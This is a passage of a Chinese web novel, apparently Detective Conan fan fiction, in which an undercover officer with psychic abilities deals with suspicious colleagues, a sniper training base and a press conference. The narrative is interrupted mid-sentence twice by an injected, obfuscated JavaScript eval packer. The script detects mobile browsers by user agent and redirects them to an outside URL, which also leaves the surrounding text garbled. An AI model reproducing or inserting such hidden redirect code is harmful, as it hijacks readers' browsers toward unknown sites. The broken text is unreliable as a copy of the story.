那个世界哪里来这么多的高级精神系能力者———整个瑟克尔党应该就只有他和陈无是精神系的才对。 甚至整个阿蒂斯都找不出来几个多的精神系能力者了。 这种情况应该是在陈无死了之后才开始发生的。 到底发生什么事了。 不过……竹取无尘接着把视线投向了窗外这个完全不同的世界。 算了,无所谓了。 青年随手翻动着自己的手机,播去了那个电话———这一下午只能看着自己的手但是不能动的感觉还是太诡异了。 都凉透了也没必要关心那个世界的一堆破事了。 这个世界还有一堆破事等他关心呢。 后天是不是又到第六十天了来着? 好像是的。 他还得去他的新上司那里刷个脸。 43.第 43 章 124 【病房外。】 诸伏景光和降谷零正在看着那一份竹取无尘的报告单。 这人竟然还在三年前同样无端昏迷过二十多天———而且还是在大街上晕过去被路人送进医院的。 “他上次不也是无端昏迷吗?”降谷零想起了那天被人转移过去的话题,“会不会和他失忆有关系?” “我觉得很有可能。”诸伏景光叹了口气,他看向自家的幼驯染,“还是抓紧让他走吧,这里实在是……” 病房门被打开,刚刚进去在他们两个面前对着竹取无尘大哭的青年走了出来。 他们抬头看着那人,而那人深红色的瞳孔也同样在打量着他们。 “二位。”洛洛溪开口,声音里是全然的淡漠。 “他说你们是他的朋友。” “我们能否借一步说话?” “抱歉,是有什么事吗?”降谷零发现那人的手上有很重的枪茧。 这人经常持枪,走路的身形也不像普通人,而且户籍系统里根本就没有一个叫『洛洛溪』的人。 竹取无尘一个人身份存疑就很奇怪了,现在怎么又出来了一个。 “既然二位想在这里说话,我也是不介意的。”青年颔首,从一边的口袋中摸出来了两张名片。 “我叫神宫寺雨枝,曾经是医生,他的伤我能治。” 洛洛溪脸上没什么表情,把名片递给了对面二人,接着道:“也只有我能治。” “我是他朋友,如果他出了任何事情,麻烦直接联系我。” 这人怎么和刚刚完全判若两人了。 诸伏景光接过名片,上面写着一所心理咨询室的地址和电话号码:“好的,神宫寺先生,我们……” “叫我神宫寺就好。” 幼驯染二人对视一眼。 ————『叫我竹取就好。』 “冒昧问一下,您的另外一个名字是?” “那个名字只有他能叫。” 洛洛溪顿了一下:“抱歉,我的语气可能不是特别好。” 竹取无尘真是从一个坑里跳进了另外一个坑里。 他可是一进门就发现这两个人一个人的精神画布上有保护层,另外一个人精神画布上有被修补过的痕迹了。 什么地方需要他这么大费周章。 而且那人又不是治愈系,逞什么能啊。 “他之前出过事,我有点着急了。” “二位大可以放心,我会找到他这里来,是因为我知道他的真名,又正好和医院这边有些联系,并不是你们哪里的情报出了问题。” “我的真名和地址也都在你们手上,不放心的话可以派人监视我,我随意。” “我还是这句话,如果他出了任何事情,还请第一时间联系我。” “麻烦你们了。” 没给降谷零他们说话的空隙,洛洛溪已经将将离去,留给了二人一个背影。 金发公安拿过手边的电脑,查询着这个突然冒出来的人的资料。 神宫寺雨枝,美籍日裔,22岁,近期刚刚从美国移民回来,开设了一家心理咨询室,除此之外在日本系统内没有任何其他相关的资料。 但是竹取无尘是土生土长的本国人,连国都没有出过,按照资料显示的推测,这两个人根本不可能认识。 神宫寺雨枝一见面就给竹取无尘疯狂道歉又是因为什么? 22岁,曾经当过医生?什么医学院毕业这么快? 仇人? 降谷零看向竹取无尘的病房内,那明显代表着闭门谢客的关闭着的灯光。 “他要是不想说,我们谁都问不出来。” 猫眼青年搭上了幼驯染的肩膀。 更何况竹取无尘这人看着也不像知道很多的样子。 “而且他已经做了足够多了。” “神宫寺雨枝说他能治竹取无尘的手。”他看向了一侧已经没有人的电梯口,“那我们是……” “机票我会订好发给他的。”降谷零合上了电脑,“医生这边说他的情况已经稳定了,后天、最迟后天,要赶在琴酒他们发现之前把人送走。” “不管他的伤势如何,都不是一天两天能好的事情。” “留在这里对他来说太危险了。” 125 留在这里……对他来说太……危险了? 12月31日深夜。 “大人,我的药呢?”竹取无尘演着好久没有演的珀洛塞可,散漫地翘着二郎腿,靠坐在训练基地的沙发上。 他刚刚从医院溜达出来,给降谷零说了一声他不走,就直接回来上班了,真的是尽职尽责。 公安可以给他涨工资吗? 一边站着练习射击的杀手走了过来,那颗SPL001装在小玻璃瓶里,被人放在了面前的茶几上。 “我还以为普拉米亚把你轰死了。”面前人看着珀洛塞可吃下了那颗绿色药丸,冷笑一声。 “让你失望了。”青年把药丸顺手抖进了袖口。 “所以呢,我做得怎么样?朗姆那边是不是气死了?” “毁了朗姆想控制日药企业的计划,炸了朗姆一个基地,杀了一个仇人,你好赚啊大人。” 琴酒没有搭话,不过珀洛塞可也明显看出来了这人心情不错。 “最近有什么任务吗?没什么任务我可就先回去了。” 他只是来这里刷刷脸的而已。 “你还真积极。”话语间杀手又打出来了一发十环,“不过你最近没任务。” “我该做的。”珀洛塞可起身站在射击场的一边,同样拿着枪在手上把玩,看着一边屏幕上显示出了门口的来人。 “任务最近都在他们手上是吗?” “那还真不错。” “是吧,苏格兰?”青年举枪对上了门口那个穿着黑色卫衣进来的男人,“好久不见。” “珀洛塞可,你……” 苏格兰蓝色的瞳孔微缩,他看向对面人举着枪的左手。 不对,这个人不是今天下午才办理的出院吗?! 神宫寺雨枝的医术会不会太过于好了一点啊?! “你不会趁我被炸弹炸伤了,把我的任务都抢了吧?”珀洛塞可歪了歪头,反手对向身后的靶纸,扣下了扳机。 同样的十环。 用左手持枪打出来的十环。 确实一点事都没有了。 “呵。”门口的人扯了扯嘴角,“怎么办,谁让你出个任务都能被雇佣兵盯上?” “受伤了就好好在家躺着吧,珀洛塞可。” “我没兴趣陪你在这里耍嘴皮子。”青年又换成了右手,另外一发子弹同样穿过了刚刚那一发子弹的弹孔。 一边的琴酒饶有兴味地看着那面只有一个弹孔的靶纸。 这人还真是出了一次差错就再也不会犯了。 珀洛塞可把枪丢到一边,拿过搭在沙发上的大衣拢在身上,往门口走去。 “既然你喜欢上班,那就多上一点。” “今天是跨年夜,我可要先回去了。” 他看了一眼旁边已经跳动到十二点整的时钟。 “新年快乐,苏格兰。” 126 诸伏景光处理完组织和公安的事情,看到了那几位好友的聚餐邀请后正要赶过去,抬头就发现那人正站在自己的车边。 跨年夜下起了雪,不少落在了肩头,路灯下隐约可见细碎的银光闪动。 竹取无尘笑着看向他:“我说了我没事吧?” 呵出的白气些许让人影有些不太清晰。 “你还真是……”诸伏景光同样也笑了,“不过没事就好。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“好。”诸伏景光同样说道,“那也谢谢你的礼物。” “新年快乐,竹取无尘。” 青年弯了弯眉眼,道了别后转身回了自己的车。 夜空上耀眼的光束刺亮了无边浓厚的黑,光影碎金一样簌簌垂落,隔着车窗玻璃映照在青年的黑瞳中。 是烟花。 车中的人面上没有什么表情,他看了一眼桐生晴发来的感谢短信,开车回了自己的安全屋中。 那条蓝围巾被他单独挂在了衣柜的另外一边。 屋里没开灯,他侧头望着窗外闪烁的彩灯和无声落下的雪。 其实他很不喜欢雪天。 同样地,烟花也太吵了。 127 洛洛溪拿着手机对着竹取无尘的通讯界面发了一整天的呆。 那个人根本不怪他,甚至一直在反过来安慰他。 这人怎么一直都…… 之前也是……太多太多次都是…… 他们认识这么多年了,这个人就没有生过几次气。 短信通知在零点过一会的时候响起了 【手机通讯】C:新年快乐,洛洛溪。 这个人怎么一直都这样啊。 焰火带着闷响,在窗外照亮了沉黑的帷幕,又带着余烬零星落下。 好久好久以前洛雨也喜欢拉着他们去看烟花。 久远到他都快记不得那光亮乍响时,照亮的那些人的样子了。 在很久之后他才发现,在那人一个人待着的时候,总会在这种时节自己跑去静音仓里面坐着。 原来那个人讨厌烟花。 44.第 44 章 127 本来他可以一直放着假的。 朗姆那边焦头烂额,琴酒这边正在愉快地看热闹,趁机把大部分任务火上浇油一样全部丢给了朗姆,所以自己手上也就一个上野惠理这边收尾的任务。 不过上野惠理跑去自首了,普拉米亚被他杀了,怎么收尾不过是他一句话的事情。 所以这一句话他拖了整整一个月,原因是他在调查龙舌兰的死因。 真实原因是他懒得干活。 同时也因为这个理由,组织让他直接去接触调查上野惠理的上级——那个把普拉米亚介绍给她的北海道知事井上顺阳。 但是上野惠理本人在狱中给出的口供是她随便在暗网上找的杀手,和普拉米亚的暗网信息也对得上号,这件事就被这么轻轻带过。 公安那边同时调查过,井上顺阳所有的一切都很正常,甚至正常过头了。 他在公安里演着『医学奇迹般缓慢自愈并且还在努力上班的搜查官』,在告知了组织的任务后,顺手就接着把调查井上顺阳的任务拿过来一起做了。 所以他现在在公安和组织两边的任务都是这个人。 “你还是觉得他有问题?” 停车场里,降谷零看着坐在副驾驶,拿着井上顺阳的资料翻来覆去查看的竹取无尘。 那只左手已经完全恢复了。 这人好得是真快啊。 “肯定不可能清白到哪里去的。” “琴酒放出了组织正在接触井上顺阳的消息,因为普拉米亚和美国那边有关,他要看井上顺阳的反应。” 青年合上资料,揉了揉鼻梁,发觉降谷零一直在盯着自己的左手。 “别看了。” 竹取无尘突然浅浅笑了一声。 “违规用药了而已。” 他真得编点什么东西来搪塞过去了,不然这帮人就得从怀疑他是间谍特工怀疑到他是外星人了。 希望这次编瞎话的水平好一点。 “你说什么?”降谷零瞳孔一缩。 “违规用药。”青年盯着一边人几乎变成灰紫色的瞳孔,“你们查到过吧,神宫寺雨枝是美籍日裔。” 洛洛溪这个初始身份和他的身份真的是八竿子打不着。 “美国那边的一些神经再生的药物,不过因为违规,整个生产线已经全部停了,该有的资质也全部被查封,也就那个人手里还剩下一点了。” 意思就是想查也查不到,何况地点在美国,日本公安更是一点办法都没有了。 “当然,你们放心,对我没有副作用,我也不至于为了接着上班把自己整得半死不活的。” 他抬起了自己的左手,光束从指缝中漏下,已经完全看不出受过伤的痕迹。 “……你们想知道,所以我告诉你们了。” “抱歉。” “麻烦别告诉诸伏。” 降谷零他不会受到这些的影响,但是诸伏景光要是知道了他这一堆乱七八糟瞎编的话,不知道会怎么想。 一边坐着的金发公安没有什么别的神色,他看着已经放下手,垂头没看他的竹取无尘,抽出来一瓶水递给了对方。 青年瞄了一眼,接过水后道谢了一声:“还有什么想问的吗?” 降谷零挑眉:“你不是失忆了?” “想起来了一点点。” “那问什么答什么?” “问什么答什么。” 那场坦白局他说的都是真话,今天这个坦白局他还是别说真话了。 编吧,他就看看自己能给自己编个什么背景故事出来。 “好。”公安抽出自己的手机,在竹取无尘面前关机之后丢在了后座。 “其实你没必要……”青年看着同事这个动作,皱了下眉,“风间他们找你怎么办?” “我给他们说了我就在楼下停车场,打不通电话他们自己会来找我的。” 公安同样把自己的蓝牙耳机也摘下来放在了仪表盘上。 “那我开始问了?” “问吧。”竹取无尘叹了口气,做好了头脑风暴的准备。 降谷零点点头:“你和神宫寺雨枝是什么时候认识的?” “小时候。” “资料显示你是日本人,对方是美国籍。” “你比我更清楚资料存在造假的可能性。” “所以你不是日本人?” “………”一边答着话的竹取无尘卡了卡,面露难色地转头看向降谷零。 “我…不太清楚。” 真不能算日本人吧,其实他去当间谍了之后也不算阿蒂斯人,当然更不可能混成瑟克尔的人。 很好,活了这么多年竟然还是世界公民。 金发公安颔首,大致知道应该是摸到了这人的记忆盲区,换了下一个问题。 “神宫寺雨枝为什么对你道歉?” “他觉得他有愧于我。” “具体还记得吗?” “他害死了我的故人。” 嗯,洛洛溪害死了陈无。 不知道那孩子听到这句话之后会是什么表情。 “你的故人是特工?” “对。” “那你推测你自己是什么?” “…………” 很好,他资料造假,故人是特工,涉及违规用药,那他是什么? “特工。”竹取无尘认命一样地往头靠枕上一靠,闭上了眼。 降谷零听着这意料之中的话,没有做出评论,接着问道:“为什么说神宫寺雨枝害死了你的故人?” “他把那个人的卧底资料提交给了高层。” 现成的素材。 “为了什么?” “为了救我。” “但是你和那个人的关系匪浅?” “对。” “为什么为了救你要提交那个人的卧底资料?” “他觉得我被那个人控制了。” 还好陈无死得够早,可以随便他编排。 “所以我是不是可以理解为,那个人带着你去神宫寺所在的地方卧底,由于你绝对听从于那个人,所以神宫寺为了救你,害死了对方,这导致了你们两个产生了不小的误会,甚至让你以为神宫寺存在了杀你的意图。” “对。” 对个毛线。 “受过训练,而且是精神方面的耐药训练,也难怪你们的卧底集团对象是一个违规药企。” 这个人用药杀死炸弹犯的那次应该就是用的从这个不知名药企带出来的药。 降谷零整理着自己所知道的情报。 “在神宫寺所在的地方被清查之后,你被你所在的机构回收,再次投放到我国境内进行间谍工作?” 竹取无尘猛地睁开眼看着对方:“我……” 完蛋了,降谷零连我国境内这种词都用出来了。 他是不是接下来就要直接被押送国安局了。 人体研究室和监狱哪个好一点啊? 青年开始思考自爆穿越的可行性。 “但是你所有的行为都太干净了。”公安没有给那个人继续说话的机会。 “你没有别的安全屋,甚至放心让我在你昏迷的时候进你的安全屋,你昏迷的二十多天里,除了神宫寺雨枝不知道用了什么手段找到了你,没有任何异动。” “而且你本可以不用告诉我。” 降谷零神色复杂地看向一边皱着眉思索着的人。 这个人本来可以糊弄过去,反正他们手里也没有证据,又同时都在组织卧底,总不能干到一半把作为公安卧底的间谍卧底抓进去了吧。 这又不是在扮家家酒。 而且就像自己幼驯染说的,这个人实在是做了太多了。 所以他才会直接把手机关机———哪怕他觉得就算自己开着手机,这人也会这么说,但是他还是想表明,他是信任他的。 “你身手不差,由于是间谍特工,你在警校时期还有伪装,导致所有人都对你没有太多印象,进了组织,在知道我们同样是公安后,面对我们却完全连一点伪装的意识都没有。” “因为你失忆了,你和你的机构彻底断联,导致你觉得你就是一名公安警察了。” “你进组织的时间比我和hiro都早,基本上一从警察学院毕业就直接去了,我们查下来说你是主动请缨,根本就没有正式进过警视厅,你失忆前就在逃避这个间谍工作。” “而且听起来,你的上级应该也被神宫寺害死了,所以根本就没有人联系过你。” 竹取无尘同样神色复杂。 这几段故事串起来原来是这个样子的吗? “你知道你在三年前也在街边无端昏迷过吗?” 按照时间推算,那个时间节点刚好是警校毕业不久之后,这人出现了不明原因昏迷。 “什么?” 竹取无尘真的不知道自己该作何反应,没有答话,他觉得自己下次还是不要乱编瞎话了。 上一次编瞎话编得所有人都在嘲笑他想当组织高层。 这一次他快把自己编进国安局了。 “看来你不知道。”降谷零了然地看着这人的反应。 “你以前经常使用违规药剂吗?那些药物对你来说真的没有副作用吗?” 竹取无尘依旧只是和降谷零那双蓝灰色的眸子对视着,没有答话———或者说,他不知道说什么。 “我不知道。”青年的嗓子哑了哑,他转回头,看向了手中的水。 这瓶水里会放什么东西吗? “抱歉,我确实不知道。” 真的编不下去了,这都什么剧情啊。 “那我可以推测你的失忆和不明原因昏迷与滥用药物有关吗?” “我不知道。” 好像也差不多,如果滥用药物等同于滥用异能的话,确实是有关的。 青年垂着头,没有别的动作,只是重复着这一句话。 “为什么不走?” 一边的公安却突然转了语气。 “如果你真的是间谍,你为什么不走?” “待在组织里对你没有好处,你在组织里获取不了任何与日本公安有关的情报,还容易把自己的性命搭进去。” “又或者说,你如果真的是倒霉地被派去卧底的间谍,你明明可以借此机会脱离卧底的身份,等一切结束之后再回日本公安继续你的间谍工作———毕竟我们不可能直接开除一个因公受伤的警官。” “你出院当晚就告诉了hiro你的手没事,但是这一个月里面,别人的视角看来你的手是在缓慢恢复。” “既然你会演,怎么不继续在我和hiro两个最清楚你伤情的人眼里接着演?” “你甚至不惜告诉我说你用了违规药物,你明明可以一直演着,一直拖着就行了,没有人能直接把你带走。” “你这是在自爆。” “你甚至刚刚还在拜托我不要告诉hiro。” “你做事一直很急,这一次也同样是这样。” “因为你在试图让诸伏景光放心,你怕他因为你感到愧疚。” 竹取无尘盯着水瓶的目光一滞,缓缓侧头看向了降谷零,公安敏锐地察觉到这人的黑瞳中有什么东西与刚刚不一样了。 他说中了。 “这几年我国公安方面并没有丢失什么情报,你什么都没有做,或者说你还没有来得及做,就已经失忆了。” “竹取无尘,你手上的那瓶水,我什么都没有放。” 这种人,为了保护一个人的心理健康都能做到这一步的人。 “…………” “你就不怕我是在利用这个机会彻底获取你们的信任吗?” 竹取无尘盯着手上的东西,拧开了盖子,抿了一口瓶中的水。 凉意润过发干的喉咙。 确实什么都没有放。 “没见过有间谍通过自爆来获取信任的。”降谷零看向前挡风玻璃外来来往往的行人。 “是吗?” 青年自嘲地一笑。 “其实你往水里放点东西我还会觉得好受一点。” “那样的话这场谈话的性质就变了,竹取。”公安看向竹取无尘,他依旧在把玩着那瓶水。 做下的事情是一粒种子。 青年摇了摇头:“没关系。” “竹取无尘!” 降谷零提了一下声线,他觉得自己快被这人噎死了,什么叫没关系啊。 “这话我一定要说清楚了。” “我只是觉得你的身份来历有问题,并不代表我现在还觉得你是间谍。” “我分给了你我在零组的权限。” “你明明可以用那个获得更多的情报和武器。” “为什么不用?” 他可以调过来直升机,但是这人却把自己当成诱饵引来了普拉米亚。 再厉害的药物也救不回来一个死人。 而青年依旧没有说话,只是侧过了头,那双黑瞳一成不变地看着他。 又来了,这人又是这个反应。 降谷零深吸一口气。 “因为所有的调用都记录在案,你怕那些东西被有心人利用,影响到我的仕途?” “你觉得我在乎这些东西吗?” 竹取无尘声线平淡:“因为不需要。” “也因为你怎么做是你的事情,而我怎么做又是我的事情了。” “你自己都这么说了。”公安同样抽出一瓶水,拧开润了润嗓子,“我再怀疑你,就显得我很冷漠了。” “…………” “谢谢。” 青年沉默半晌,沉沉地吐出一口气,从衣服口袋里拿出来了个什么东西,递在了降谷零面前。 其实从他莫名其妙承认自己是他国间谍的时候这场对话就很不对劲了。 降谷零信任他,但是降谷零也很爱他的国家,放任自己一个疑似他国间谍的人在他面前坐着又算怎么回事啊。 “这个,拿着吧。” 公安看着那人手里的东西,又是一个深呼吸。 一只录音笔。 “你录音了?”声线有些发紧。 “我录音了。”竹取无尘发觉一边的人根本不接,直接把录音笔同样放在了仪表盘上。 “万一我之后想起来了,真的跑去继续当了间谍,背刺你的日本一刀怎么办?” “你不录音是因为你信任我,我录音是因为我信任你。” “毕竟你们手上没有任何的证据,以后想抓我怕还是有点困难。” “但是现在你有了。” 竹取无尘笑了。 “降谷零,这份证据你收好了,要是我真的泄露了你的日本的情报,麻烦随时过来抓我。” “现在,是你降谷零已经知道了我的身份,这份功劳是你的。” “把你的东西拿回去,我不需要。”公安的声音已经带着些怒意。 “收着吧,警官。”青年依旧在笑,“你收着了我们两个都能好过一点。” “别当我的共犯了。” 降谷零看向了仪表盘上的物件。 一个断联了的间谍,搞不好会被直接定性成背叛,招来杀身之祸,这人其实早就无处可走了。 还有一份完全和自首无疑的录音。 哪怕没有证据,也足够让这人死好几遍了。 何必做到这一步? 他伸手,在对面的目光下拿起了那只记录着他和这人审讯一样一问一答的录音笔。 竹取无尘是因为信任他才和他说这么多。 他本可以不用做到这一步。 降谷零觉得自己总算知道自家幼驯染怎么这么信任这个人了。 这都什么手段啊?他觉得他有几条命够死的啊? 一边的人没什么表情,只是淡淡地又把目光转回到了资料上,无事发生一般。 “好, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16599233|184862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 收下是吧?”公安冷笑了一声,开门走下了车,竹取无尘丢失了一瞬那人的视野,不知道那人做了什么,只是看着他很快地又坐回了驾驶座。 青年眨眨眼,降谷零回到驾驶座后,反手启动了车辆,马自达向着前方碾过些许,又被人操控着退回停车位。 “你……” “东西没了。”降谷零侧头,“轮胎下面,碎得不能再碎了。” “毕竟你怎么做是你的事情,而我怎么做是我的事情,对吧?” 竹取无尘不赞成地蹙了下眉,没有吭声。 “你别忘了你自己说过什么了。” “你自己说过缺失的记忆改变不了你。” “我相信你。” “刚刚我们说过的所有事情,都只是基于现状的推测,并不是事实,同样不能作为证据使用。” “好好当你的公安警察。” “这个任务。”公安示意了一下一边的资料,“我们两个一起做,可以吗?” “当然,不是监督你,你有拒绝的权利。” “…………” “好。” 青年点点头,沉默了半晌,又再一次点头道:“好。” “我这算不算在利用你的信任?” “如果你非要把相互信任说成利用信任的话,我也没有办法,竹取警官。”降谷零道,“而且我让你说了这么多,是不是又在利用你的信任?” 这人本来可以不用说。 “再互相猜下去对我们都不好。”青年晃了晃手中还剩半杯水的瓶子,“谢谢你的水。” “以及……”竹取无尘重新把手伸向了那件外套口袋。 “吃糖吗,警官?” 降谷零看着这一次递过来的巧克力,松了口气,真心实意地笑了一声,接过了糖。 “你口袋里的东西还真多。” 青年不可置否地耸肩,重新指着面前的资料:“那明天我可就和你一起去井上顺阳要参加的新闻发布会了?” “当然。”金发公安拿回了自己放在后座的手机,“现在去我安全屋整理情报?” 竹取无尘弯了弯眼角:“没问题。” 128 洛洛溪正在喝水。 洛洛溪收到了竹取无尘给自己编的人物小传。 洛洛溪一口水喷了出来。 洛洛溪看向咨询室门口前来找他的诸伏景光。 洛洛溪不知道这两个人到底给竹取无尘灌了什么迷魂汤。 这个人说他要演的缓慢恢复,就只演了两天是吗? 是这个意思吗! 而且……… 洛洛溪又看了一遍那份狗血的人物小传。 还真给这个人懵对了点东西。 129 “你想听一下神宫寺雨枝是什么说的吗?”降谷零收到了自己幼驯染发来的消息,直接询问了一边坐着写报告的人。 “嗯?”竹取无尘不解地转过了头,“还有他的事啊?” 这份剧本还在继续啊? “他说。”公安顿了一下,似乎是在思考措辞。 “他说你真是忠心耿耿?说你之前服务的情报机构就是………” 降谷零面露难色,后面跟着的那一串脏字让他又顿了一下————演都演不出这么真实的怨气的吧。 hiro还特地强调了神宫寺雨枝说这一段要原文发送。 “就是………” “是什么?” “你要不自己看?”降谷零把手机直接递放到了竹取无尘面前。 “他说了什么额………嗯………”青年看到后面那一串字眼,同样沉默了一瞬。 这孩子绝对是带着真情实感骂的。 什么时候学会骂得这么脏了! 嗯,说阿蒂斯的那帮老东西肩膀一用力就能把中间那个痘挤了。 笑死。 “他还发给我了以前你待过的情报机构。”降谷零下意识敲了敲手指,示意着面前那份已经在三年前被各国围剿一炮轰没了的非法机构的资料,看着一边挑着眉翻阅信息的人。 “怎么办,这位间谍特工。” “疑似你老东家的地方没了。” “你好像又只能接着当公安警察了?” “哈。” 洛洛溪又没有证据,怎么可能他说什么这两个人就信什么。 而且这个情报机构也是他刚刚偷偷现找来发给洛洛溪的。 一个台阶而已。 “降谷。” 竹取无尘把手机推回给了对方,那双黑瞳认真地看着一边的人。 “我不知道该说什么。” “那份录音你真的不需要吗?如果你需要,我可以随时再说一次。” “完全自首的那种,没有你诱导性提问的那种。” 公安眼神闪了一下:“你也知道我在诱导性提问。” “间谍这种身份太敏感了不是吗?”青年随手把面前的公安报告点击了提交。 “确实。”降谷零顺势靠坐在了电脑桌上,接着道,“但是你就没有想过,你间谍的身份是我猜的。” 青年一顿。 “而你就这么认下来了。” “认下来了之后你就一直在提你要自首,说什么都要给我塞一个你的把柄。” “就像是今天跟着我的话才知道的这件事一样。” “今天是不是我说什么你都会直接认?” “我如果说你是从非法机构逃跑出来,没有办法才在日本呆着,自己用之前学会的手段伪造了资料,读完大学之后考了警校,在警校你怕暴露,只能隐藏身手,毕业后你想到了以前的事,就主动请缨来非法组织卧底呢?” “你根本没想起来什么东西,你就是单纯想让我相信你,所以直接顺着我的话一路说下去了。” “对吗?” 好像还真的是这样。 他根本就没有写剧本,所有的剧本都是降谷零编的,他只负责回答了是或者不知道。 这个人给他下套啊。 “你为了让我信任你,不惜自己招揽一份莫须有的罪名,对吗?” “我要是接着怀疑你,你是不是真的就要张嘴说『对,我竹取无尘就是间谍』了?” “哪怕你根本就不是?” “再下一步呢?接着为了获取我的信任,你是不是就要准备说等你处理完组织的事情,就去警视厅提离职了?” “………” 竹取无尘第一次没有敢接着和一边的同事对视,他的视线缓缓下移,落到了屏幕下方的键盘上。 灯光下,键盘缝隙中的灰尘格外明显。 是的,他真的打算这么干了。 这人怎么也把他的手段全部摸清楚了,一个二个都这么聪明的吗。 “为什么总觉得别人手上一定要有你的把柄,别人才会信任你呢?” “又不是所有人都是琴酒。” 降谷零拿起了桌上放着的饮料,拉开拉环,推放到了没有回话的人的面前。 青年深深吸了一口气,拿过饮料,铝罐外壁凝结的水珠顺着指尖滑下。 “抱歉。” “没必要道歉。” 他仰头喝了一口,意外的甜意在口中弥漫开来。 “去休息一下吧。”降谷零见状,没有多言,顺势抬手在对方的肩膀上一按。 “好好当你的公安警察。” 金发公安又接着轻笑道:“一会还要工作呢。” 已经接近清晨,拉拢的窗帘外隐约可见微光。 诸伏景光和降谷零这两个人真是赢得彻彻底底。 竹取无尘沉默地点了点头,又仰头浅酌了一口罐中的饮料。 良久后,青年同样地轻笑了一声。 “我是不是还得说一句谢谢?” “我们两个要再这么互相道谢下去,今天就真的别休息了。” 今夜没有下雪。 45.第 45 章 130 一个普通的新闻发布会会来这么多人吗? 竹取无尘在几个小时之前和降谷零一起出发,来到了这个发布会现场。 青年环视了一圈,伸手压低了自己的鸭舌帽,尽可能减少着自己在人群中的存在感。 降谷零作为场地引导员在前后台穿进穿出,他则作为自由撰稿人混进了各方媒体之中。 这个发布会在内部的消息明明只是说井上顺阳要出面宣传一下近期北海道的经济发展政策,顺带回应一下上野惠理受贿一案。 明明是一个很常见的发布会而已,怎么会出现这么多媒体。 青年看着一边走进来的工藤优作和工藤新一,挑了挑眉。 是因为这两个人吗? 他护着怀里的摄像机,挤到了一个正在调试设备的记者身边。 “哥,我这里视野好,你要不直接去我那边吧?”竹取无尘带着口罩,向一边的记者指了指他特地让公安给他留好的位置。 “唉,谢谢啊兄弟,你是哪家媒体的?”打工人正苦于场地方给他安排的位置完全不合理,看见挤过来的青年,简直在脸上表演了一个由阴转晴。 “不过这不会影响你吗?” “怎么会,大家都是同行,我之前也坐这种犄角旮旯的位置,没把我气死了。” 青年展示了一下自己脖子上挂着的工作证:“我是自由撰稿人,北川雨,幸会。” “幸会幸会北川先生。” “最近实在是没有东西能写的了,上司催得急,没想到这场发布会竟然来了这么多人啊。”竹取无尘坐在位置上一边研究着相机,一边和隔壁的打工人套着话。 “那你这次可真来对了。”旁边的人偷偷压低了声音,“你别看工藤优作也来了,这个不算什么大新闻。” “那什么是大新闻啊?”青年同样学着偷偷压低了声音。 “我听说,上野惠理,就是那个北见市之前的市长,不是被抓了吗?” “嗯嗯,对啊。” “她啊,和井上顺阳关系不一般,外面都传呢,说那女人上升得太快了。” “大家都等着井上顺阳的热闹呢,万一能扒出一点东西,这个月的业绩都不愁了。” 竹取无尘:………… 不是,怎么是这种事情啊。 虽然那女人不是什么好人,但是她确实也不是什么废物角色啊。 上野惠理听到是不是得气死了。 “唉唉,不对,你们俩这个消息也太不灵通了。” 坐在前面的记者明显听到了后排两个人的对话,她转过了身,同样压低了帽沿。 “我听说的是,井上顺阳和上野惠理的丈夫是竹马关系啊!上野惠理好像就是井上弄进去的,目的就是………” 竹取无尘:………? 唉等一下,这又是怎么剧情啊?这还是官方新闻发布会吗?这记者怎么跟一堆娱记一样啊? 所以根本就没人关注北海道的经济发展是吗? 好像是的。 青年听着一边聊得越发火热的话题,从“上野惠理到底收了多少”慢慢发展到了“井上顺阳私底下混得有多开”,又转回到了“上野惠理的别墅到底有多大”。 他收获了0个有用的消息。 “所以我估摸着,工藤优作他被邀请过来参加这个新闻发布会很有可能就是为了压井上顺阳这边的事情。” “是吧是吧,毕竟分散了好多注意力,那一片的记者应该都是冲着工藤优作来的,不然的话今天也不会有这么多人。” “竟然还能让人又从美国大老远飞回来,井上………” 整个环境的情绪在躁动。 竹取无尘借口着透气的理由,卡着新闻发布会即将要开始的时间退到了一侧。 把工藤优作从美国邀请回来分散注意力? 他看着周遭这一圈又一圈的话筒和摄像机,注意到了同样站在另外一侧的降谷零。 “后台情况怎么样?”青年拿着工作证走了过去,俨然一副迷路了正在问话找路的样子。 “没看到井上顺阳在哪里,没有陌生人员在后台出入。”降谷零听着面前人的语气,接着问道,“怎么了?” “我总觉得有问题。”竹取无尘侧撇了一眼一边的一群记者。 “有些人的目的可能不纯啊。” 一个官方的新闻发布会,怎么会有人的情绪是这么浓重的……期待感? 这么期待井上顺阳爆出一点花边新闻吗? “来的人确实有点多。”金发公安顺手扶了一下自己耳边的蓝牙耳机。 “我给那边说过,现在楼下安排了人手,如果出现了问题的话就直接在蓝牙耳机里喊我,直播会直接中断。” “好。” 青年点点头,靠墙站在了直播摄像头的死角处,工藤优作已经开始上台发言,降谷零转身又回了后台。 晚上可能还要用组织成员的身份和井上顺阳聊聊天,他现在还需要思考一下对策。 台上的人发言已经结束,媒体相机一片又一片的闪光灯亮起,快门声连成一片,死咬着下一位上台发言的人。 公众人物还真是能适应相机啊。 竹取无尘咋舌,又把自己的身形往后藏了些,看着他的任务目标走上了发言台。 真的只是一个很简单的任务,只用盯着有没有别的目的不纯的人接近井上顺阳就行。 但是从现在开始事情确实不简单了。 井上顺阳的状态不对。 精神力值降低至50% 青年沉黑的瞳孔微缩。 【恐惧。】 有什么东西扭曲着从平静的液体里钻了出来,拉扯着粘腻的丝,在皮肤下游走,霎时间点燃出一片的火海。 【这就是你所恐惧的东西。】 竹取无尘按着耳机,从摄像头死角以最快的速度将将蹿到了发言台附近,压着声音迅速说道:“把直播掐了,快!” 【不要忘记了。】 